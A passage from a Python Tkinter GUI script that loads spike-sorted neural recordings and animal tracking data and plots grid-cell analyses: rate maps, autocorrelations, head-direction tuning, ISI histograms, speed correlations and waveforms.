'/templates.npy')\n path_clips_id = Path(entry + '/templates_ind.npy')\n path_clusters = Path(entry + '/spike_clusters.npy')\n path_pos = Path(entry + '/positions.csv')\n path_amplitude = Path(entry + '/amplitudes.npy')\n path_posX = Path(entry + '/tracking_x.npy')\n path_posY = Path(entry + '/tracking_y.npy')\n path_posHD = Path(entry + '/tracking_hd.npy')\n path_posTime = Path(entry + '/tracking_timestamps.npy')\n\n # Loading the files.\n probe.spikes = np.load(path_spikes)\n probe.spikes = np.reshape(probe.spikes, len(probe.spikes))\n probe.spikes_id = np.load(path_id)\n probe.clips = np.load(path_clips)\n probe.clips_id = np.load(path_clips_id)\n probe.clusters_all = np.unique(np.load(path_clusters))\n probe.clusters_list = good_clusters #np.unique(probe.clusters_all)\n probe.pos_x = np.load(path_posX)\n probe.pos_x = np.reshape(probe.pos_x, len(probe.pos_x))\n probe.pos_y = np.load(path_posY)\n probe.pos_y = np.reshape(probe.pos_y, len(probe.pos_y))\n probe.pos_hd = np.load(path_posHD)\n probe.pos_hd = np.reshape(probe.pos_hd, len(probe.pos_hd))\n probe.pos_time = np.load(path_posTime)\n probe.pos_time = np.reshape(probe.pos_time, len(probe.pos_time))\n probe.amplitude = np.load(path_amplitude)\n\n elif int(data_type) == 1:\n import_neurologger(probe, entry, good_clusters, sampling_rate)\n\n print('All the files were succesfully loaded.')\n return(probe)\n\n else:\n print('Error: the cluster file could not be found.')\n\n# Button UI #\nloading_data_button = Button(gui, text=\"Load data\", bd=5, command=loading_callBack)\nloading_data_button.pack()\nloading_data_button.place(bordermode=OUTSIDE, height=40, width=100, x=380, y=10)\n\n## Path button ##\n# This button plots the path of the animal for the selected session.\ndef path_session_callback():\n fig = plt.figure()\n ax = plt.axes()\n ax.plot(probe.pos_x, probe.pos_y)\n plt.xlabel('X (m)')\n plt.ylabel('Y (m)')\n plt.axis('equal')\n plt.title('Path of the animal')\n plt.show()\n\n# Button UI\npath_session_button = Button(gui, text=\"Animal's path\", bd=5, command=path_session_callback)\npath_session_button.pack()\npath_session_button.place(bordermode=OUTSIDE, height=40, width=100, x=10, y=60)\n\n## Splitting sessions ##\ndef split_session_callBack():\n if not 'probe' in globals():\n print('##########')\n print('Please load data first.')\n else:\n global sessions_boundaries\n entry = cutting_entry.get()\n entry_split = entry.split(\"/\")\n # entry_split.append(probe.pos_time[-1])\n print('Data cut in ' + str(len(entry_split)) + ' sessions.')\n sessions_boundaries = [];\n for sNo in range(0, len(entry_split)):\n multiplier = 60*30000\n entry_split_split = entry_split[sNo].split(\"-\")\n # if sNo == 0:\n #\n # sessions_boundaries.append([0, float(entry_split_split[sNo])*multiplier])\n sessions_boundaries.append([float(entry_split_split[0])*multiplier, float(entry_split_split[1])*multiplier])\n\n# Button UI.\nloading_data_button = Button(gui, text=\"Split sessions\", bd=5, command=split_session_callBack)\nloading_data_button.pack()\nloading_data_button.place(bordermode=OUTSIDE, height=40, width=100, x=1190, y=10)\n\n## Main analyses ##\n# Performs the main analyses and return the results in the cluster's class.\ndef main_analyses_callback():\n print('##########')\n print('Performing main analyses...')\n\n # Checking if sessions is split. If not, the data are considered as \"one session\".\n if not 'sessions_boundaries' in globals():\n global sessions_boundaries\n sessions_boundaries=[[0, probe.pos_time[-1]]]\n\n # Getting bin and box size.\n box_size = box_size_entry.get()\n if not box_size:\n print('Please enter a box size in cm. Default value = 400 cm.')\n box_list = []\n for sNo in range(0, len(sessions_boundaries)):\n box_list.append(400)\n else:\n # print('Box size sets to ' + str(box_size) + ' cm.')\n box_list = box_size.split(\"/\")\n\n bin_size = bin_size_entry.get()\n if not bin_size:\n print('Please enter a bin size in cm. Default value = 400 cm.')\n bin_list = []\n for sNo in range(0, len(sessions_boundaries)):\n bin_list.append(4)\n else:\n # print('Box size sets to ' + str(box_size) + ' cm.')\n bin_list = bin_size.split(\"/\")\n\n # Defining global variables\n global id_list\n id_list = []\n\n # Filling the clusters.\n bad_list = [] # List to fill with bad clusters that can't get through the analysis.\n tmp_sessions_list = [] # List to store cluster object before cleaning step.\n for sNo in range(0, len(sessions_boundaries)):\n box_size = int(box_list[sNo])\n bin_size = int(bin_list[sNo])\n print('Box size for session ' + str(sNo) + ' sets to ' + str(box_size) + ' cm.')\n print('Bin size for session ' + str(sNo) + ' sets to ' + str(bin_size) + ' cm.')\n clusters_list = []\n\n # Defining sessions id.\n id_begin_spikes = find_nearest(probe.spikes, sessions_boundaries[sNo][0])\n id_end_spikes = find_nearest(probe.spikes, sessions_boundaries[sNo][1])\n id_begin_pos = find_nearest(probe.pos_time, sessions_boundaries[sNo][0])\n id_end_pos = find_nearest(probe.pos_time, sessions_boundaries[sNo][1])\n id_spikes_list = [id_begin_spikes, id_end_spikes]\n id_pos_list = [id_begin_pos, id_end_pos]\n session_id_list = [id_spikes_list, id_pos_list]\n id_list.append(session_id_list)\n\n\n # General speed.\n pos_time = probe.pos_time\n pos_x = probe.pos_x\n pos_y = probe.pos_y\n pos_hd = probe.pos_hd\n\n speed_threshold = 0.03 # cm/s.\n speed = [];\n for tNo in range(1, len(pos_time)-1):\n distance = np.sqrt((pos_x[tNo+1]-pos_x[tNo-1])**2 + (pos_y[tNo+1]-pos_y[tNo-1])**2)\n timeRange = (pos_time[tNo+1]-pos_time[tNo-1])/sampling_rate\n speed.append(distance/timeRange)\n\n # Filtering.\n speed_filtered = gaussian_filter1d(speed, 1)\n\n # The speed vector must have one less element than the position vector.\n speed_id = []\n for speedNo in range(0, len(speed_filtered)):\n if speed_filtered[speedNo] >= speed_threshold:\n speed_id.append(speedNo)\n speed_id = np.array(speed_id)\n\n for cNo in range(0, len(probe.clusters_all)):\n cluster_tested = int(probe.clusters_all[cNo])\n if cluster_tested in probe.clusters_list:\n # Extracting the spikes from raw files.\n spk_time_tmp = probe.spikes[id_begin_spikes:id_end_spikes]\n spk_id = np.searchsorted(probe.spikes[id_begin_spikes:id_end_spikes], spk_time_tmp, side=\"left\")\n spk_id = spk_id + id_begin_spikes\n spikes_id = np.where(probe.spikes_id[spk_id] == probe.clusters_all[cNo])[0]+id_begin_spikes\n\n # Prevening small clusters to block the script.\n # if len(spikes_id < 500:\n # bad_list.append(cNo)\n # cluster_build['cluster'] = probe.clusters_all[cNo]\n # clusters_list.append(cluster_build)\n # print('Cluster ' + str(probe.clusters_all[cNo]) + ' does not have enough spikes for analyses.')\n\n if len(spikes_id) > 500: #1000 spikes minimum\n cluster_build = collections.OrderedDict()\n cluster_build['spikes_id'] = spikes_id\n cluster_build['spikes_time'] = probe.spikes[cluster_build['spikes_id']]\n cluster_build['spikes_time'] = np.reshape(cluster_build['spikes_time'], len(cluster_build['spikes_time']))\n cluster_build['spikes_time_sec'] = cluster_build['spikes_time']/sampling_rate\n cluster_build['cluster'] = probe.clusters_all[cNo]\n cluster_build['hist_ISI'], cluster_build['bin_ISI'], cluster_build['stats_ISI'] = calc_ISI(cluster_build['spikes_time_sec'])\n\n # Position extractionself\n pos_id = []\n for spNo in range(0, len(cluster_build['spikes_time'])):\n pos_id.append(find_nearest(probe.pos_time[id_begin_pos:id_end_pos], cluster_build['spikes_time'][spNo]))\n # pos_id = np.searchsorted(probe.pos_time[id_begin_pos:id_end_pos], cluster_build['spikes_time'], side=\"left\")\n pos_id = pos_id + id_begin_pos\n\n # Speed.\n pos_id = np.intersect1d(pos_id, speed_id)\n cluster_build['speed'] = np.array(speed)[pos_id]\n cluster_build['speed_filtered'] = np.array(speed_filtered)[pos_id]\n cluster_build['speed_o'] = speed_filtered\n\n # Spike positions.\n cluster_build['spikes_positions_time'] = pos_time[1:][pos_id]\n cluster_build['spikes_positions_time_sec'] = cluster_build['spikes_positions_time']/sampling_rate\n cluster_build['spikes_positions_x'] = pos_x[1:][pos_id]\n cluster_build['spikes_positions_y'] = pos_y[1:][pos_id]\n cluster_build['spikes_positions_hd'] = pos_hd[1:][pos_id]\n\n # Firing rate.\n nS, bins = np.histogram(cluster_build['spikes_positions_time_sec'], probe.pos_time[id_begin_pos:id_end_pos])\n dt = np.diff(probe.pos_time[id_begin_pos:id_end_pos])\n cluster_build['instant_rate'] = nS/dt\n cluster_build['rate_filtered'] = gaussian_filter1d(nS/dt, 1)\n\n # Maps and scores.\n # if cluster_tested > 59:\n # pdb.set_trace()\n cluster_build['bins_angle_center'], cluster_build['hist_angle_smooth'] = hd_tuning_curve(probe.pos_hd[id_begin_pos:id_end_pos], cluster_build['spikes_positions_hd'])\n cluster_build['hd_stats'] = tuning_curve_stats(cluster_build['bins_angle_center'], cluster_build['hist_angle_smooth'])\n cluster_build['ratemap'] = ratemap(box_size, bin_size, probe.pos_x[id_begin_pos:id_end_pos], probe.pos_y[id_begin_pos:id_end_pos], cluster_build['spikes_positions_x'], cluster_build['spikes_positions_y'])\n cluster_build['autocorr'] = spatial_autocorr(cluster_build['ratemap'], 0)\n cluster_build['gridscore'], cluster_build['gridscore_valid'] = calculate_gridscore(cluster_build['autocorr'])\n cluster_build['spacing'], x, y, cluster_build['orientation'], ptx, pty = grid_properties(cluster_build['autocorr'], bin_size)\n\n # Waveforms.\n data_type = data_type_entry.get()\n if int(data_type) == 0:\n waveform = probe.clips[cNo, :, :]\n max_list = []\n for channel in range(0, waveform.shape[1]):\n max_list.append(np.max(waveform[:, channel]))\n\n max_value = max(max_list)\n max_channel = max_list.index(max_value)\n cluster_build['waveform'] = waveform\n cluster_build['max_channel'] = max_channel\n\n # Other information\n cluster_build['bin_size'] = bin_size\n cluster_build['box_size'] = box_size\n\n # # Updating listbox.\n # if sNo == len(sessions_boundaries)-1:\n # clusters_listbox.insert(cNo, str(cluster_build['cluster']))\n\n # Saving object.\n clusters_list.append(cluster_build)\n print('Cluster ' + str(cluster_tested) + ' done.')\n del cluster_build\n\n tmp_sessions_list.append(clusters_list)\n sessions_listbox.insert(sNo, str(sNo))\n del clusters_list\n print('Session ' + str(sNo) + ' done!')\n\n # Removing bad clusters (Spikes and ISI conditions).\n global sessions_list\n sessions_list = []\n tmp_s_list = []\n bad_list = np.sort(np.unique(bad_list))\n for sNo in range(0, len(sessions_boundaries)):\n good_list = []\n cluster_list = []\n for cNo in range(0, len(tmp_sessions_list[sNo])):\n if tmp_sessions_list[sNo][cNo]['cluster'] not in bad_list:\n good_list.append(tmp_sessions_list[sNo][cNo]['cluster'])\n cluster_list.append(tmp_sessions_list[sNo][cNo])\n sessions_list.append(cluster_list)\n tmp_s_list.append(good_list)\n\n result = set(tmp_s_list[0])\n for s in tmp_s_list[1:]:\n result.intersection_update(s)\n\n for cNo in range(0, len(result)):\n clusters_listbox.insert(cNo, str(result.pop()))\n\n print('Main analyses performed!')\n\n\n# Button UI.\nmain_analyses_button = Button(gui, text=\"Main analyses\", bd=5, command=main_analyses_callback, bg=\"white\")\nmain_analyses_button.pack()\nmain_analyses_button.place(bordermode=OUTSIDE, height=40, width=100, x=10, y=100)\n\n## Path plot button ##\ndef path_plot_callback():\n # Selecting cluster.\n idx = clusters_listbox.curselection()\n idx = idx[0]\n idx_s = sessions_listbox.curselection()\n print('##########')\n print('Cluster selected: ' + str(idx))\n\n fig = plt.figure()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n cluster_selected = sessions_list[s_val][idx]\n\n # Plot.\n ax = plt.subplot2grid((1, len(idx_s)), (0, sNo))\n ax.plot(probe.pos_x[id_list[s_val][1][0]:id_list[s_val][1][1]], probe.pos_y[id_list[s_val][1][0]:id_list[s_val][1][1]], color = \"grey\")\n ax.plot(cluster_selected['spikes_positions_x'], cluster_selected['spikes_positions_y'], 'ro', markersize = 1)\n ax.set_xlabel('X (m)')\n ax.set_ylabel('Y (m)')\n ax.axis('equal')\n ax.set_title('Path plot of cluster ' + str(cluster_selected['cluster']) + ' for session ' + str(sNo))\n plt.show()\n\n# Button UI.\npath_plot_button = Button(gui, text=\"Path plot\", bd=5, command=path_plot_callback)\npath_plot_button.pack()\npath_plot_button.place(bordermode=OUTSIDE, height=40, width=100, x=110, y=60)\n\n## Head direction button ##\ndef hd_callback():\n # Selecting cluster.\n idx = clusters_listbox.curselection()\n idx = idx[0]\n idx_s = sessions_listbox.curselection()\n print('##########')\n print('Cluster selected: ' + str(idx))\n\n fig = plt.figure()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n cluster_selected = sessions_list[s_val][idx]\n\n # Spike plot.\n ax = plt.subplot2grid((2, len(idx_s)), (0, sNo))\n ax.plot(probe.pos_time[id_list[s_val][1][0]:id_list[s_val][1][1]]/sampling_rate, probe.pos_hd[id_list[s_val][1][0]:id_list[s_val][1][1]], color = \"grey\")\n ax.plot(cluster_selected['spikes_positions_time_sec'], cluster_selected['spikes_positions_hd'], 'ro', markersize = 1)\n ax.set_xlabel('X (m)')\n ax.set_ylabel('Y (m)')\n ax.set_title('Cluster ' + str(cluster_selected['cluster']) + ' for session ' + str(sNo) + '. MVL = ' + str(round(cluster_selected['hd_stats']['MVL'], 2)))\n\n # Tuning curve.\n ax1 = plt.subplot2grid((2, len(idx_s)), (1, sNo), projection='polar')\n ax1.plot(cluster_selected['bins_angle_center'], cluster_selected['hist_angle_smooth'], lw=3, color='k', alpha=.85)\n plt.show()\n\n# Button UI.\nhd_button = Button(gui, text=\"HD plot\", bd=5, command=hd_callback)\nhd_button.pack()\nhd_button.place(bordermode=OUTSIDE, height=40, width=100, x=210, y=60)\n\n## Rate map button ##\ndef ratemap_callback():\n # Selecting cluster.\n idx = clusters_listbox.curselection()\n idx = idx[0]\n idx_s = sessions_listbox.curselection()\n print('##########')\n print('Cluster selected: ' + str(idx))\n\n fig = plt.figure()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n cluster_selected = sessions_list[s_val][idx]\n ratemap = cluster_selected['ratemap']\n\n # Plot\n ax = plt.subplot2grid((1, len(idx_s)), (0, sNo))\n ax.imshow(ratemap.T, cmap=cm.jet, interpolation='nearest')\n ax.axis('off')\n ax.axis('equal')\n ax.set_xlim(0, ratemap.shape[0])\n ax.set_ylim(0, ratemap.shape[1])\n ax.set_title('GS: '+str(round(cluster_selected['gridscore'], 3)))\n plt.show()\n\n# Button UI.\nrate_map_button = Button(gui, text=\"Rate map\", bd=5, command=ratemap_callback)\nrate_map_button.pack()\nrate_map_button.place(bordermode=OUTSIDE, height=40, width=100, x=110, y=100)\n\n## Spatial autocorrelation ##\ndef autocorr_callback():\n # Selecting cluster.\n idx = clusters_listbox.curselection()\n idx = idx[0]\n idx_s = sessions_listbox.curselection()\n print('##########')\n print('Cluster selected: ' + str(idx))\n\n fig = plt.figure()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n cluster_selected = sessions_list[s_val][idx]\n autocorr = cluster_selected['autocorr']\n\n # Plot\n ax = plt.subplot2grid((1, len(idx_s)), (0, sNo))\n ax.imshow(autocorr, cmap=cm.jet, interpolation='nearest')\n ax.axis('off')\n ax.axis('equal')\n ax.set_xlim(0, autocorr.shape[0])\n ax.set_ylim(0, autocorr.shape[1])\n ax.set_title('GS: '+str(round(cluster_selected['gridscore'], 3)))\n plt.show()\n\n# Button UI.\nautocorr_button = Button(gui, text=\"Autocorr\", bd=5, command=autocorr_callback)\nautocorr_button.pack()\nautocorr_button.place(bordermode=OUTSIDE, height=40, width=100, x=210, y=100)\n\n## Fields detection ##\ndef fields_detection_callback():\n # Selecting cluster.\n idx = clusters_listbox.curselection()\n idx = idx[0]\n idx_s = sessions_listbox.curselection()\n print('##########')\n print('Cluster selected: ' + str(idx))\n\n fig = plt.figure()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n cluster_selected = sessions_list[s_val][idx]\n ratemap = cluster_selected['ratemap']\n #detected_peaks = fields_detection(ratemap.T.data)\n fields = peak_detection(ratemap)\n #peaks_coordinates = np.argwhere(detected_peaks)\n #peaks_number = peaks_coordinates.shape[0]\n #\n ax = plt.subplot2grid((1, len(idx_s)), (0, sNo))\n ax.imshow(ratemap.T, cmap=cm.jet, interpolation='nearest')\n ax.axis('off')\n ax.axis('equal')\n ax.set_xlim(0, ratemap.shape[0])\n ax.set_ylim(0, ratemap.shape[1])\n ax.plot(fields['x'], fields['y'], 'ro', 'markersize', 3)\n ax.set_title('GS: '+str(round(cluster_selected['gridscore'], 3)))\n\n # ax1 = plt.subplot2grid((2, len(idx_s)), (1, sNo))\n # ax1.imshow(detected_peaks)\n # ax.axis('off')\n # ax.axis('equal')\n # ax1.set_xlim(0, ratemap.shape[0])\n # ax1.set_ylim(0, ratemap.shape[1])\n # ax1.set_title('Peaks detected: '+str(peaks_number))\n plt.show()\n\n\n# Button UI.\nfields_detection_button = Button(gui, text=\"Fields\", bd=5, command=fields_detection_callback)\nfields_detection_button.pack()\nfields_detection_button.place(bordermode=OUTSIDE, height=40, width=100, x=310, y=60)\n\n## Grid properties ##\ndef grid_properties_callback():\n # Selecting cluster:\n idx = clusters_listbox.curselection()\n idx = idx[0]\n idx_s = sessions_listbox.curselection()\n print('##########')\n print('Cluster selected: ' + str(idx))\n\n fig = plt.figure()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n cluster_selected = sessions_list[s_val][idx]\n autocorr = cluster_selected['autocorr']\n bin_size = cluster_selected['bin_size']\n spacing, x, y, orientation, ptx, pty = grid_properties(autocorr, bin_size)\n\n # Plot\n ax = plt.subplot2grid((1, len(idx_s)), (0, sNo))\n ax.imshow(autocorr, cmap=cm.jet, interpolation='nearest')\n ax.axis('off')\n ax.axis('equal')\n ax.set_xlim(0, autocorr.shape[0])\n ax.set_ylim(0, autocorr.shape[1])\n ax.plot(x, y, 'ro', 'markersize', 3)\n # Line:\n ax.plot([0, autocorr.shape[0]], [autocorr.shape[1]/2, autocorr.shape[1]/2], 'r--')\n ax.plot([autocorr.shape[0]/2, ptx], [autocorr.shape[1]/2, pty], 'g--')\n ax.set_title('Spacing: '+str(round(cluster_selected['spacing'])) + ' cm, Orientation: ' + str(round(cluster_selected['orientation'])) + ' degrees')\n plt.show()\n\n\n# Button UI.\ngrid_properties_button = Button(gui, text=\"Grid prop.\", bd=5, command=grid_properties_callback)\ngrid_properties_button.pack()\ngrid_properties_button.place(bordermode=OUTSIDE, height=40, width=100, x=410, y=60)\n\n## Speed ##\ndef speed_callback():\n idx = clusters_listbox.curselection()\n idx = idx[0]\n idx_s = sessions_listbox.curselection()\n print('##########')\n print('Running speed analysis')\n print('Cluster selected: ' + str(idx))\n\n fig = plt.figure()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n cluster_selected = sessions_list[s_val][idx]\n per = pearsonr(cluster_selected['speed_o'][0:-1], cluster_selected['rate_filtered'][0:-1])\n\n # Plot.\n ax5 = plt.subplot2grid((1, 2), (0, 0))\n ax5.set_title('Speed analysis')\n ax5.plot(cluster_selected['speed_o'], 'b-')\n ax5.set_ylabel('Speed', color='b')\n ax5.tick_params('y', colors='b')\n ax5.set_title('Max FR: ' + str(round(max(cluster_selected['rate_filtered']), 2)) + ', max speed: ' + str(round(max(cluster_selected['speed_filtered']), 2)))\n\n ax6 = ax5.twinx()\n ax6.plot(cluster_selected['rate_filtered'], 'r-')\n ax6.set_ylabel('FR', color='r')\n ax6.tick_params('y', colors='r')\n\n ax1 = plt.subplot2grid((1, 2), (0, 1))\n # Histogram.\n num, bins, patches = plt.hist(cluster_selected['speed_o'], bins=200, facecolor='blue', alpha=0.5, range=(1, 300))\n ax1.set_ylabel('Speed', color='b')\n ax1.tick_params('y', colors='b')\n ax1.set_title('Pearson: ' + str(round(per[0], 3)) + ', P-val: ' + str(round(per[1], 3)))\n\n ax2 = ax1.twiny()\n num, bins, patches = plt.hist(cluster_selected['rate_filtered'], bins=200, facecolor='red', alpha=0.5, range=(1, 100))\n ax1.set_ylabel('Rate', color='r')\n ax2.tick_params('y', colors='r')\n # Density plot.\n # speed = cluster_selected['speed_o']\n # speed[speed==np.inf] = 0\n # ax1 = sns.distplot(speed, hist=True, kde=True, bins='auto', color='darkblue', hist_kws={'edgecolor':'black'}, kde_kws={'linewidth': 4})\n # ax1.set_ylabel('Probability')\n # ax1.set_xlabel('Speed')\n # ax1.set_title('Speed distribution')\n fig.suptitle('Cluster ' + str(cluster_selected['cluster']) + ' for session ' + str(sNo))\n plt.show()\n\n# Button UI.\nspeed_button = Button(gui, text=\"Speed\", bd=5, command=speed_callback)\nspeed_button.pack()\nspeed_button.place(bordermode=OUTSIDE, height=40, width=100, x=410, y=100)\n\n## ISI plot ##\ndef isi_callback():\n # Selecting cluster.\n idx = clusters_listbox.curselection()\n idx = idx[0]\n idx_s = sessions_listbox.curselection()\n print('##########')\n print('Cluster selected: ' + str(idx))\n\n fig = plt.figure()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n cluster_selected = sessions_list[s_val][idx]\n\n # Plot\n ax = plt.subplot2grid((1, len(idx_s)), (0, sNo))\n ISI_plot = ax.bar(cluster_selected['bin_ISI'][:-1], cluster_selected['hist_ISI'], width=1, color='k', alpha=.85)\n ISI_plot[0].set_color('r')\n ISI_plot[1].set_color('r')\n ax.set_title('%Cont: {:.1f} | %Burst: {:.1f}'.format(cluster_selected['stats_ISI']['ISI_contam_perc'], cluster_selected['stats_ISI']['percent_bursts']), y=1.05, fontsize=20)\n #info_ISI.set_bbox(dict(color='white', alpha=0.75))\n ax.axes.get_yaxis().set_visible(False)\n ax.grid(color='k', linestyle=':', linewidth=1,alpha=.6)\n plt.show()\n\n\n# Button UI.\nISI_button = Button(gui, text=\"ISI\", bd=5, command=isi_callback)\nISI_button.pack()\nISI_button.place(bordermode=OUTSIDE, height=40, width=100, x=310, y=100)\n\n## Waveforms plot ##\ndef waveforms_callback():\n print('##########')\n entry = channels_entry.get()\n idx = clusters_listbox.curselection()\n idx = idx[0]\n idx_s = sessions_listbox.curselection()\n\n fig = plt.figure()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n cluster_selected = sessions_list[s_val][idx]\n\n waveforms = cluster_selected['waveform']\n max_channel = cluster_selected['max_channel']\n\n # Plot\n ax = plt.subplot2grid((1, len(idx_s)), (0, sNo))\n channels_to_plot = [round(max_channel-(int(entry)/2)), round(max_channel+(int(entry)/2))]\n channels_to_plot = np.linspace(int(channels_to_plot[0]), int(channels_to_plot[1]), int(entry)+1, dtype=int)\n for channel in range(0, int(entry)):\n ax.plot(waveforms[:, channels_to_plot[channel]])\n\n ax.set_title('Waveforms of cluster ' + str(cluster_selected['cluster']) + ' for session ' + str(sNo))\n plt.show()\n\n\n# Button UI.\nchannels_entry = Entry(gui, bd=5)\nchannels_entry.pack\nchannels_entry.place(bordermode=OUTSIDE, height=40, width=100, x=510, y=100)\nwaveforms_button = Button(gui, text=\"Waveforms\", bd=5, command=waveforms_callback)\nwaveforms_button.pack()\nwaveforms_button.place(bordermode=OUTSIDE, height=40, width=100, x=510, y=60)\n\n## Modules analysis ##\ndef modules_callback():\n spacing_list = []\n orientation_list = []\n grid_threshold = float(grid_threshold_entry.get())\n idx = clusters_listbox.curselection()\n idx = idx[0]\n idx_s = sessions_listbox.curselection()\n\n fig = plt.figure()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n clusters_list = sessions_list[s_val]\n for cNo in range(0, len(clusters_list)):\n if clusters_list[cNo]['gridscore'] >= grid_threshold:\n spacing_list.append(clusters_list[cNo]['spacing'])\n orientation_list.append(clusters_list[cNo]['orientation'])\n\n module_data = np.transpose(np.vstack((np.array(spacing_list), np.array(orientation_list))))\n thresh = 1.5\n clusters = hcluster.fclusterdata(module_data, thresh, criterion=\"distance\")\n\n # Plot.\n # plt.scatter(*np.transpose(module_data), c=clusters)\n plt.scatter(module_data[:, 0], module_data[:, 1], c=clusters)\n plt.axis(\"equal\")\n title = \"threshold: %f, number of modules: %d\" % (thresh, len(set(clusters)))\n plt.title(title)\n\n plt.show()\n ax.set_title('Spacing vs orientation for cells with gridscore > ' + str(grid_threshold))\n\n\n# Button UI.\nmodules_button = Button(gui, text=\"Modules\", bd=5, command=modules_callback)\nmodules_button.pack()\nmodules_button.place(bordermode=OUTSIDE, height=40, width=100, x=610, y=60)\ngrid_threshold_entry = Entry(gui, bd=5)\ngrid_threshold_entry.pack\ngrid_threshold_entry.place(bordermode=OUTSIDE, height=40, width=100, x=610, y=100)\n\n## Summary ##\ndef summary_callback():\n idx = clusters_listbox.curselection()\n idx = idx[0]\n idx_s = sessions_listbox.curselection()\n\n for sNo in range(0, len(idx_s)):\n fig = plt.figure()\n s_val = idx_s[sNo]\n cluster_selected = sessions_list[s_val][idx]\n\n # Path plot.\n ax = plt.subplot2grid((2, 4), (0, 0))\n ax.plot(probe.pos_x[id_list[s_val][1][0]:id_list[s_val][1][1]], probe.pos_y[id_list[s_val][1][0]:id_list[s_val][1][1]], color = \"grey\")\n ax.plot(cluster_selected['spikes_positions_x'], cluster_selected['spikes_positions_y'], 'ro', markersize = 1)\n ax.set_xlabel('X (m)')\n ax.set_ylabel('Y (m)')\n ax.axis('equal')\n ax.axis('off')\n ax.set_title('Path plot: ' + str(len(cluster_selected['spikes_id'])) + ' spikes')\n\n # Rate map.\n ax1 = plt.subplot2grid((2, 4), (0, 1))\n ratemap = cluster_selected['ratemap']\n ax1.imshow(ratemap.T, cmap=cm.jet, interpolation='nearest')\n ax1.axis('off')\n ax1.axis('equal')\n ax1.set_xlim(0, ratemap.shape[0])\n ax1.set_ylim(0, ratemap.shape[1])\n ax1.set_title('GS: '+str(round(cluster_selected['gridscore'], 3)))\n\n # Autocorrelation\n ax2 = plt.subplot2grid((2, 4), (0, 2))\n autocorr = cluster_selected['autocorr']\n ax2.imshow(autocorr, cmap=cm.jet, interpolation='nearest')\n ax2.axis('off')\n ax2.axis('equal')\n ax2.set_xlim(0, autocorr.shape[0])\n ax2.set_ylim(0, autocorr.shape[1])\n ax2.set_title('Spacing: ' + str(round(cluster_selected['spacing'], 2)) + ' , orientation: ' + str(round(cluster_selected['orientation'], 2)))\n\n # HD\n ax3 = plt.subplot2grid((2, 4), (0, 3), projection='polar')\n ax3.plot(cluster_selected['bins_angle_center'], cluster_selected['hist_angle_smooth'], lw=3, color='k', alpha=.85)\n ax3.set_title('MVL = ' + str(round(cluster_selected['hd_stats']['MVL'], 2)))\n\n # Waveforms\n data_type = data_type_entry.get()\n if int(data_type) == 0:\n ax4 = plt.subplot2grid((2, 4), (1, 0))\n entry = channels_entry.get()\n waveforms = cluster_selected['waveform']\n max_channel = cluster_selected['max_channel']\n channels_to_plot = [round(max_channel-(int(entry)/2)), round(max_channel+(int(entry)/2))]\n channels_to_plot = np.linspace(int(channels_to_plot[0]), int(channels_to_plot[1]), int(entry)+1, dtype=int)\n for channel in range(0, int(entry)):\n ax4.plot(waveforms[:, channels_to_plot[channel]])\n ax4.set_title('Waveforms')\n\n # Speed / FR\n ax5 = plt.subplot2grid((2, 4), (1, 1))\n ax5.set_title('Speed analysis')\n ax5.plot(cluster_selected['speed_filtered'][1:], cluster_selected['rate_filtered'], 'b.')\n ax5.set_ylabel('FR', color='b')\n ax5.set_xlabel('Speed', color='b')\n #\n # ax6 = ax5.twinx()\n # ax6.plot(cluster_selected['rate_filtered'], 'r-')\n # ax6.set_ylabel('FR', color='r')\n # ax6.tick_params('y', colors='r')\n\n # ISI.\n ax7 = plt.subplot2grid((2, 4), (1, 2))\n ISI_plot = ax7.bar(cluster_selected['bin_ISI'][:-1], cluster_selected['hist_ISI'], width=1, color='k', alpha=.85)\n ISI_plot[0].set_color('r')\n ISI_plot[1].set_color('r')\n ax7.set_title('%Cont: {:.1f} | %Burst: {:.1f}'.format(cluster_selected['stats_ISI']['ISI_contam_perc'], cluster_selected['stats_ISI']['percent_bursts']))\n #info_ISI.set_bbox(dict(color='white', alpha=0.75))\n ax7.axes.get_yaxis().set_visible(False)\n ax7.grid(color='k', linestyle=':', linewidth=1,alpha=.6)\n\n # Stats\n ax8 = plt.subplot2grid((2, 4), (1, 3))\n ax8.set_title('Stats')\n\n fig.suptitle('Cluster ' + str(cluster_selected['cluster']) + ' for session ' + str(sNo))\n plt.show()\n\n\n# Button UI.\nsummary_button = Button(gui, text=\"Summary\", bd=5, command=summary_callback)\nsummary_button.pack()\nsummary_button.place(bordermode=OUTSIDE, height=40, width=100, x=110, y=280)\n\n## Stats sheet ##\ndef stats_sheet_callback():\n print('##########')\n print('Saving stats file...')\n path_to_save = data_folder_entry.get()\n idx_s = sessions_listbox.curselection()\n\n fig = plt.figure()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n clusters_list = sessions_list[s_val]\n export_stats(clusters_list, path_to_save, float(grid_threshold_entry.get()))\n print('Stats file save as stats.csv')\n\n# Button UI.\nstats_sheet_button = Button(gui, text=\"Stats\", bd=5, command=stats_sheet_callback)\nstats_sheet_button.pack()\nstats_sheet_button.place(bordermode=OUTSIDE, height=40, width=100, x=1190, y=60)\n\n## Place object ##\ndef place_object_callback():\n print('SoonTM')\n\n# Button UI.\nplace_oject_button = Button(gui, text=\"Place Obj\", bd=5, command=stats_sheet_callback)\nplace_oject_button.pack()\nplace_oject_button.place(bordermode=OUTSIDE, height=40, width=100, x=1190, y=100)\n\n## All grids ##\ndef all_grid_callback():\n print('##########')\n print('Displaying all grids')\n if len(grid_threshold_entry.get()) == 0:\n print('Please enter a gridscore threshold!')\n else:\n grid_threshold = float(grid_threshold_entry.get())\n idx_s = sessions_listbox.curselection()\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n clusters_list = sessions_list[s_val]\n for cNo in range(0, len(clusters_list)):\n if clusters_list[cNo]['gridscore'] >= grid_threshold:\n fig = plt.figure()\n ax1 = plt.subplot2grid((1, 2), (0, 0))\n ratemap = clusters_list[cNo]['ratemap']\n ax1.imshow(ratemap.T, 